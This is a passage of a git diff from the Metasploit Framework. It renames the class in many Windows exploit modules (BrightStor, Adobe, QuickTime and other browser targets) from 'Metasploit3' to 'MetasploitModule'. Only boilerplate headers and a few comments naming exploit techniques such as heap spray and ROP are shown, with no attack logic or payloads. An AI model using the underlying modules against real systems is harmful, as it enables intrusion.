b/modules/exploits/windows/brightstor/discovery_tcp.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/brightstor/discovery_udp.rb b/modules/exploits/windows/brightstor/discovery_udp.rb index bfe484f24f..1a8a8d5885 100644 --- a/modules/exploits/windows/brightstor/discovery_udp.rb +++ b/modules/exploits/windows/brightstor/discovery_udp.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/brightstor/etrust_itm_alert.rb b/modules/exploits/windows/brightstor/etrust_itm_alert.rb index 61ae466927..5947954bba 100644 --- a/modules/exploits/windows/brightstor/etrust_itm_alert.rb +++ b/modules/exploits/windows/brightstor/etrust_itm_alert.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::DCERPC diff --git a/modules/exploits/windows/brightstor/hsmserver.rb b/modules/exploits/windows/brightstor/hsmserver.rb index ade7cf8ecf..a23793e2e1 100644 --- a/modules/exploits/windows/brightstor/hsmserver.rb +++ b/modules/exploits/windows/brightstor/hsmserver.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/brightstor/lgserver.rb b/modules/exploits/windows/brightstor/lgserver.rb index d439f85cc8..11017fc1d8 100644 --- a/modules/exploits/windows/brightstor/lgserver.rb +++ b/modules/exploits/windows/brightstor/lgserver.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/brightstor/lgserver_multi.rb b/modules/exploits/windows/brightstor/lgserver_multi.rb index 6f6bda88cd..6aadbd1579 100644 --- a/modules/exploits/windows/brightstor/lgserver_multi.rb +++ b/modules/exploits/windows/brightstor/lgserver_multi.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking diff --git a/modules/exploits/windows/brightstor/lgserver_rxrlogin.rb b/modules/exploits/windows/brightstor/lgserver_rxrlogin.rb index a54686a117..307a6d1eb0 100644 --- a/modules/exploits/windows/brightstor/lgserver_rxrlogin.rb +++ b/modules/exploits/windows/brightstor/lgserver_rxrlogin.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/brightstor/lgserver_rxssetdatagrowthscheduleandfilter.rb b/modules/exploits/windows/brightstor/lgserver_rxssetdatagrowthscheduleandfilter.rb index bbbd6376ee..9af29f1237 100644 --- a/modules/exploits/windows/brightstor/lgserver_rxssetdatagrowthscheduleandfilter.rb +++ b/modules/exploits/windows/brightstor/lgserver_rxssetdatagrowthscheduleandfilter.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking diff --git a/modules/exploits/windows/brightstor/lgserver_rxsuselicenseini.rb b/modules/exploits/windows/brightstor/lgserver_rxsuselicenseini.rb index e12c6efa64..8f464578f1 100644 --- a/modules/exploits/windows/brightstor/lgserver_rxsuselicenseini.rb +++ b/modules/exploits/windows/brightstor/lgserver_rxsuselicenseini.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/brightstor/license_gcr.rb b/modules/exploits/windows/brightstor/license_gcr.rb index 53b03d3d27..2e6634ae61 100644 --- a/modules/exploits/windows/brightstor/license_gcr.rb +++ b/modules/exploits/windows/brightstor/license_gcr.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/brightstor/mediasrv_sunrpc.rb b/modules/exploits/windows/brightstor/mediasrv_sunrpc.rb index 6ea0c62537..f6a5fc70d8 100644 --- a/modules/exploits/windows/brightstor/mediasrv_sunrpc.rb +++ b/modules/exploits/windows/brightstor/mediasrv_sunrpc.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::SunRPC diff --git a/modules/exploits/windows/brightstor/message_engine.rb b/modules/exploits/windows/brightstor/message_engine.rb index af04cc4bf8..5f8c82ef4f 100644 --- a/modules/exploits/windows/brightstor/message_engine.rb +++ b/modules/exploits/windows/brightstor/message_engine.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::DCERPC diff --git a/modules/exploits/windows/brightstor/message_engine_72.rb b/modules/exploits/windows/brightstor/message_engine_72.rb index f4ca613159..377f36c163 100644 --- a/modules/exploits/windows/brightstor/message_engine_72.rb +++ b/modules/exploits/windows/brightstor/message_engine_72.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking diff --git a/modules/exploits/windows/brightstor/message_engine_heap.rb b/modules/exploits/windows/brightstor/message_engine_heap.rb index 5ba4ca46fb..0fe296dcb1 100644 --- a/modules/exploits/windows/brightstor/message_engine_heap.rb +++ b/modules/exploits/windows/brightstor/message_engine_heap.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::DCERPC diff --git a/modules/exploits/windows/brightstor/sql_agent.rb b/modules/exploits/windows/brightstor/sql_agent.rb index 2785745edc..6c485b64f0 100644 --- a/modules/exploits/windows/brightstor/sql_agent.rb +++ b/modules/exploits/windows/brightstor/sql_agent.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/brightstor/tape_engine.rb b/modules/exploits/windows/brightstor/tape_engine.rb index dc9da31f15..46702d30fd 100644 --- a/modules/exploits/windows/brightstor/tape_engine.rb +++ b/modules/exploits/windows/brightstor/tape_engine.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::DCERPC diff --git a/modules/exploits/windows/brightstor/tape_engine_0x8a.rb b/modules/exploits/windows/brightstor/tape_engine_0x8a.rb index 6e55ba95b3..36c01eb3c3 100644 --- a/modules/exploits/windows/brightstor/tape_engine_0x8a.rb +++ b/modules/exploits/windows/brightstor/tape_engine_0x8a.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking diff --git a/modules/exploits/windows/brightstor/universal_agent.rb b/modules/exploits/windows/brightstor/universal_agent.rb index 770d7c8fa9..4d157fe3e2 100644 --- a/modules/exploits/windows/brightstor/universal_agent.rb +++ b/modules/exploits/windows/brightstor/universal_agent.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/browser/adobe_cooltype_sing.rb b/modules/exploits/windows/browser/adobe_cooltype_sing.rb index 2f18a7668a..39112c8f94 100644 --- a/modules/exploits/windows/browser/adobe_cooltype_sing.rb +++ b/modules/exploits/windows/browser/adobe_cooltype_sing.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'zlib' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking # aslr+dep bypass, js heap spray, rop, stack bof include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/adobe_flash_avm2.rb b/modules/exploits/windows/browser/adobe_flash_avm2.rb index 2194a15c1e..20550092a5 100644 --- a/modules/exploits/windows/browser/adobe_flash_avm2.rb +++ b/modules/exploits/windows/browser/adobe_flash_avm2.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::BrowserExploitServer diff --git a/modules/exploits/windows/browser/adobe_flash_casi32_int_overflow.rb b/modules/exploits/windows/browser/adobe_flash_casi32_int_overflow.rb index 57bc88f9aa..fc286ce6bd 100644 --- a/modules/exploits/windows/browser/adobe_flash_casi32_int_overflow.rb +++ b/modules/exploits/windows/browser/adobe_flash_casi32_int_overflow.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::BrowserExploitServer diff --git a/modules/exploits/windows/browser/adobe_flash_copy_pixels_to_byte_array.rb b/modules/exploits/windows/browser/adobe_flash_copy_pixels_to_byte_array.rb index 34dcd36cb9..0b3e808fbc 100644 --- a/modules/exploits/windows/browser/adobe_flash_copy_pixels_to_byte_array.rb +++ b/modules/exploits/windows/browser/adobe_flash_copy_pixels_to_byte_array.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::BrowserExploitServer diff --git a/modules/exploits/windows/browser/adobe_flash_domain_memory_uaf.rb b/modules/exploits/windows/browser/adobe_flash_domain_memory_uaf.rb index 5b1fdf05f8..f6d45a1423 100644 --- a/modules/exploits/windows/browser/adobe_flash_domain_memory_uaf.rb +++ b/modules/exploits/windows/browser/adobe_flash_domain_memory_uaf.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::BrowserExploitServer diff --git a/modules/exploits/windows/browser/adobe_flash_filters_type_confusion.rb b/modules/exploits/windows/browser/adobe_flash_filters_type_confusion.rb index ac3e425873..7d18fb3de6 100644 --- a/modules/exploits/windows/browser/adobe_flash_filters_type_confusion.rb +++ b/modules/exploits/windows/browser/adobe_flash_filters_type_confusion.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::BrowserExploitServer diff --git a/modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb b/modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb index 692e2be2fa..3e0b780952 100644 --- a/modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb +++ b/modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/adobe_flash_otf_font.rb b/modules/exploits/windows/browser/adobe_flash_otf_font.rb index e1f1d0072b..4f831045aa 100644 --- a/modules/exploits/windows/browser/adobe_flash_otf_font.rb +++ b/modules/exploits/windows/browser/adobe_flash_otf_font.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/adobe_flash_pcre.rb b/modules/exploits/windows/browser/adobe_flash_pcre.rb index f000571844..9de4c02cc0 100644 --- a/modules/exploits/windows/browser/adobe_flash_pcre.rb +++ b/modules/exploits/windows/browser/adobe_flash_pcre.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking CLASSID = 'd27cdb6e-ae6d-11cf-96b8-444553540000' diff --git a/modules/exploits/windows/browser/adobe_flash_regex_value.rb b/modules/exploits/windows/browser/adobe_flash_regex_value.rb index 7cd4e5d44e..3d5fea3c40 100644 --- a/modules/exploits/windows/browser/adobe_flash_regex_value.rb +++ b/modules/exploits/windows/browser/adobe_flash_regex_value.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::BrowserExploitServer diff --git a/modules/exploits/windows/browser/adobe_flash_rtmp.rb b/modules/exploits/windows/browser/adobe_flash_rtmp.rb index 89e33338e5..84bc9cf971 100644 --- a/modules/exploits/windows/browser/adobe_flash_rtmp.rb +++ b/modules/exploits/windows/browser/adobe_flash_rtmp.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/adobe_flash_sps.rb b/modules/exploits/windows/browser/adobe_flash_sps.rb index 8acbbb573a..b2d3ce686c 100644 --- a/modules/exploits/windows/browser/adobe_flash_sps.rb +++ b/modules/exploits/windows/browser/adobe_flash_sps.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/adobe_flash_uncompress_zlib_uninitialized.rb b/modules/exploits/windows/browser/adobe_flash_uncompress_zlib_uninitialized.rb index b4fa07267a..9111d09548 100644 --- a/modules/exploits/windows/browser/adobe_flash_uncompress_zlib_uninitialized.rb +++ b/modules/exploits/windows/browser/adobe_flash_uncompress_zlib_uninitialized.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::BrowserExploitServer diff --git a/modules/exploits/windows/browser/adobe_flash_worker_byte_array_uaf.rb b/modules/exploits/windows/browser/adobe_flash_worker_byte_array_uaf.rb index 5575afab8c..169eb46fca 100644 --- a/modules/exploits/windows/browser/adobe_flash_worker_byte_array_uaf.rb +++ b/modules/exploits/windows/browser/adobe_flash_worker_byte_array_uaf.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::BrowserExploitServer diff --git a/modules/exploits/windows/browser/adobe_flashplayer_arrayindexing.rb b/modules/exploits/windows/browser/adobe_flashplayer_arrayindexing.rb index b1af657d89..3c0a8c62b0 100644 --- a/modules/exploits/windows/browser/adobe_flashplayer_arrayindexing.rb +++ b/modules/exploits/windows/browser/adobe_flashplayer_arrayindexing.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/adobe_flashplayer_avm.rb b/modules/exploits/windows/browser/adobe_flashplayer_avm.rb index 2fd3934e19..b20663ea80 100644 --- a/modules/exploits/windows/browser/adobe_flashplayer_avm.rb +++ b/modules/exploits/windows/browser/adobe_flashplayer_avm.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb b/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb index 3a7dcbd1c1..cab570badc 100644 --- a/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb +++ b/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/adobe_flashplayer_newfunction.rb b/modules/exploits/windows/browser/adobe_flashplayer_newfunction.rb index d512e180d4..325a1669b1 100644 --- a/modules/exploits/windows/browser/adobe_flashplayer_newfunction.rb +++ b/modules/exploits/windows/browser/adobe_flashplayer_newfunction.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'zlib' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/adobe_flatedecode_predictor02.rb b/modules/exploits/windows/browser/adobe_flatedecode_predictor02.rb index bfcdff41d3..c806c3cb97 100644 --- a/modules/exploits/windows/browser/adobe_flatedecode_predictor02.rb +++ b/modules/exploits/windows/browser/adobe_flatedecode_predictor02.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'zlib' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/adobe_geticon.rb b/modules/exploits/windows/browser/adobe_geticon.rb index cf67c75243..b0c0e7dffc 100644 --- a/modules/exploits/windows/browser/adobe_geticon.rb +++ b/modules/exploits/windows/browser/adobe_geticon.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'zlib' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/adobe_jbig2decode.rb b/modules/exploits/windows/browser/adobe_jbig2decode.rb index 92bece600b..8b26e8b882 100644 --- a/modules/exploits/windows/browser/adobe_jbig2decode.rb +++ b/modules/exploits/windows/browser/adobe_jbig2decode.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'zlib' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/adobe_media_newplayer.rb b/modules/exploits/windows/browser/adobe_media_newplayer.rb index ab1bbc2970..61ffba6cb5 100644 --- a/modules/exploits/windows/browser/adobe_media_newplayer.rb +++ b/modules/exploits/windows/browser/adobe_media_newplayer.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'zlib' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/adobe_shockwave_rcsl_corruption.rb b/modules/exploits/windows/browser/adobe_shockwave_rcsl_corruption.rb index 6d3843fb63..d27e4c3fdd 100644 --- a/modules/exploits/windows/browser/adobe_shockwave_rcsl_corruption.rb +++ b/modules/exploits/windows/browser/adobe_shockwave_rcsl_corruption.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/adobe_toolbutton.rb b/modules/exploits/windows/browser/adobe_toolbutton.rb index 388c30fe6b..a417a07bf4 100644 --- a/modules/exploits/windows/browser/adobe_toolbutton.rb +++ b/modules/exploits/windows/browser/adobe_toolbutton.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::BrowserExploitServer diff --git a/modules/exploits/windows/browser/adobe_utilprintf.rb b/modules/exploits/windows/browser/adobe_utilprintf.rb index 392d49790e..03a8c41b0d 100644 --- a/modules/exploits/windows/browser/adobe_utilprintf.rb +++ b/modules/exploits/windows/browser/adobe_utilprintf.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'zlib' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/advantech_webaccess_dvs_getcolor.rb b/modules/exploits/windows/browser/advantech_webaccess_dvs_getcolor.rb index 1598534a4b..6e83a0298d 100644 --- a/modules/exploits/windows/browser/advantech_webaccess_dvs_getcolor.rb +++ b/modules/exploits/windows/browser/advantech_webaccess_dvs_getcolor.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::BrowserExploitServer diff --git a/modules/exploits/windows/browser/aim_goaway.rb b/modules/exploits/windows/browser/aim_goaway.rb index cd7abc4965..e92dbac293 100644 --- a/modules/exploits/windows/browser/aim_goaway.rb +++ b/modules/exploits/windows/browser/aim_goaway.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking # diff --git a/modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb b/modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb index 8ed7b765ad..ab8329aab8 100644 --- a/modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb +++ b/modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::BrowserExploitServer diff --git a/modules/exploits/windows/browser/amaya_bdo.rb b/modules/exploits/windows/browser/amaya_bdo.rb index 0ed7599111..61d9d87c34 100644 --- a/modules/exploits/windows/browser/amaya_bdo.rb +++ b/modules/exploits/windows/browser/amaya_bdo.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/aol_ampx_convertfile.rb b/modules/exploits/windows/browser/aol_ampx_convertfile.rb index 618ceede6d..41de2bcd83 100644 --- a/modules/exploits/windows/browser/aol_ampx_convertfile.rb +++ b/modules/exploits/windows/browser/aol_ampx_convertfile.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/aol_icq_downloadagent.rb b/modules/exploits/windows/browser/aol_icq_downloadagent.rb index 6426521138..73c8fbc8df 100644 --- a/modules/exploits/windows/browser/aol_icq_downloadagent.rb +++ b/modules/exploits/windows/browser/aol_icq_downloadagent.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/apple_itunes_playlist.rb b/modules/exploits/windows/browser/apple_itunes_playlist.rb index 38e8c16c39..d34d0986cc 100644 --- a/modules/exploits/windows/browser/apple_itunes_playlist.rb +++ b/modules/exploits/windows/browser/apple_itunes_playlist.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/apple_quicktime_marshaled_punk.rb b/modules/exploits/windows/browser/apple_quicktime_marshaled_punk.rb index 8907f6869c..7432c5f21f 100644 --- a/modules/exploits/windows/browser/apple_quicktime_marshaled_punk.rb +++ b/modules/exploits/windows/browser/apple_quicktime_marshaled_punk.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/apple_quicktime_mime_type.rb b/modules/exploits/windows/browser/apple_quicktime_mime_type.rb index 69d6b8a164..da040e12fd 100644 --- a/modules/exploits/windows/browser/apple_quicktime_mime_type.rb +++ b/modules/exploits/windows/browser/apple_quicktime_mime_type.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/apple_quicktime_rdrf.rb b/modules/exploits/windows/browser/apple_quicktime_rdrf.rb index fd94da6b32..c7f952df5b 100644 --- a/modules/exploits/windows/browser/apple_quicktime_rdrf.rb +++ b/modules/exploits/windows/browser/apple_quicktime_rdrf.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/apple_quicktime_rtsp.rb b/modules/exploits/windows/browser/apple_quicktime_rtsp.rb index 0a2cdaa1ed..14d8274cce 100644 --- a/modules/exploits/windows/browser/apple_quicktime_rtsp.rb +++ b/modules/exploits/windows/browser/apple_quicktime_rtsp.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/apple_quicktime_smil_debug.rb b/modules/exploits/windows/browser/apple_quicktime_smil_debug.rb index 2355aab342..0e8c2c5918 100644 --- a/modules/exploits/windows/browser/apple_quicktime_smil_debug.rb +++ b/modules/exploits/windows/browser/apple_quicktime_smil_debug.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking # needs more testing/targets to be Great include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb b/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb index 6d58e6d12d..ec9ff0db78 100644 --- a/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb +++ b/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/ask_shortformat.rb b/modules/exploits/windows/browser/ask_shortformat.rb index f73ec53adf..fa0467d743 100644 --- a/modules/exploits/windows/browser/ask_shortformat.rb +++ b/modules/exploits/windows/browser/ask_shortformat.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/asus_net4switch_ipswcom.rb b/modules/exploits/windows/browser/asus_net4switch_ipswcom.rb index 1bd56b231c..19c103ab84 100644 --- a/modules/exploits/windows/browser/asus_net4switch_ipswcom.rb +++ b/modules/exploits/windows/browser/asus_net4switch_ipswcom.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/athocgov_completeinstallation.rb b/modules/exploits/windows/browser/athocgov_completeinstallation.rb index 695e939113..6f09ebd1d5 100644 --- a/modules/exploits/windows/browser/athocgov_completeinstallation.rb +++ b/modules/exploits/windows/browser/athocgov_completeinstallation.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/autodesk_idrop.rb b/modules/exploits/windows/browser/autodesk_idrop.rb index 523b471db6..2084de912a 100644 --- a/modules/exploits/windows/browser/autodesk_idrop.rb +++ b/modules/exploits/windows/browser/autodesk_idrop.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/aventail_epi_activex.rb b/modules/exploits/windows/browser/aventail_epi_activex.rb index a8e80a26fa..29a01fdafe 100644 --- a/modules/exploits/windows/browser/aventail_epi_activex.rb +++ b/modules/exploits/windows/browser/aventail_epi_activex.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking # heap spray and address shifty include 